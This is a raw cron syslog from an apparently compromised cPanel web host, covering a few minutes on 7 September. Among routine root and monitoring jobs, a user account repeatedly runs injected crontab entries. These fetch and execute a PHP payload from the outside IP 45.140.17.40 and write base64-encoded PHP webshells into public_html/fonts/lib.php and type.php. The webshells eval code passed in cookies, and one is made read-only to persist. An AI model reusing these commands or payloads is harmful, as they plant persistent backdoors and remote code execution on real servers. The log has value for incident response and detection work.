Sep  7 07:11:02 ip-184-168-122-23 CROND[14433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:12:01 ip-184-168-122-23 CROND[14533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:12:01 ip-184-168-122-23 CROND[14535]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:12:01 ip-184-168-122-23 CROND[14536]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:12:01 ip-184-168-122-23 CROND[14537]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:12:01 ip-184-168-122-23 CROND[14538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:13:01 ip-184-168-122-23 CROND[14664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:13:01 ip-184-168-122-23 CROND[14665]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:13:01 ip-184-168-122-23 CROND[14666]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:13:01 ip-184-168-122-23 CROND[14667]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:14:01 ip-184-168-122-23 CROND[14795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:14:01 ip-184-168-122-23 CROND[14797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:14:01 ip-184-168-122-23 CROND[14799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:14:01 ip-184-168-122-23 CROND[14798]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:14:01 ip-184-168-122-23 CROND[14800]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:15:01 ip-184-168-122-23 CROND[14896]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:15:01 ip-184-168-122-23 CROND[14899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:15:01 ip-184-168-122-23 CROND[14900]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:15:01 ip-184-168-122-23 CROND[14898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:15:01 ip-184-168-122-23 CROND[14902]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:15:01 ip-184-168-122-23 CROND[14901]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:16:01 ip-184-168-122-23 CROND[15007]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:16:01 ip-184-168-122-23 CROND[15006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:16:01 ip-184-168-122-23 CROND[15009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:16:01 ip-184-168-122-23 CROND[15010]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 07:16:01 ip-184-168-122-23 CROND[15008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:16:01 ip-184-168-122-23 CROND[15011]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:17:01 ip-184-168-122-23 CROND[15156]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:17:01 ip-184-168-122-23 CROND[15157]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:17:01 ip-184-168-122-23 CROND[15158]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:17:01 ip-184-168-122-23 CROND[15159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:18:01 ip-184-168-122-23 CROND[15270]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:18:01 ip-184-168-122-23 CROND[15274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:18:01 ip-184-168-122-23 CROND[15272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:18:01 ip-184-168-122-23 CROND[15273]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:18:01 ip-184-168-122-23 CROND[15275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:19:01 ip-184-168-122-23 CROND[15471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:19:01 ip-184-168-122-23 CROND[15472]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:19:01 ip-184-168-122-23 CROND[15473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:19:01 ip-184-168-122-23 CROND[15474]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:20:01 ip-184-168-122-23 CROND[15620]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:20:01 ip-184-168-122-23 CROND[15624]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:20:01 ip-184-168-122-23 CROND[15621]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:20:01 ip-184-168-122-23 CROND[15627]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 07:20:01 ip-184-168-122-23 CROND[15622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:20:01 ip-184-168-122-23 CROND[15623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:20:01 ip-184-168-122-23 CROND[15625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:20:01 ip-184-168-122-23 CROND[15628]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:20:01 ip-184-168-122-23 CROND[15626]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 07:21:01 ip-184-168-122-23 CROND[15739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:21:01 ip-184-168-122-23 CROND[15740]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:21:01 ip-184-168-122-23 CROND[15741]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:21:01 ip-184-168-122-23 CROND[15742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:22:01 ip-184-168-122-23 CROND[15879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:22:01 ip-184-168-122-23 CROND[15881]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 07:22:01 ip-184-168-122-23 CROND[15882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:22:01 ip-184-168-122-23 CROND[15883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:22:01 ip-184-168-122-23 CROND[15884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:23:01 ip-184-168-122-23 CROND[16030]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 07:23:01 ip-184-168-122-23 CROND[16034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:23:01 ip-184-168-122-23 CROND[16035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:23:01 ip-184-168-122-23 CROND[16033]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:24:01 ip-184-168-122-23 CROND[16118]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 07:24:01 ip-184-168-122-23 CROND[16120]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
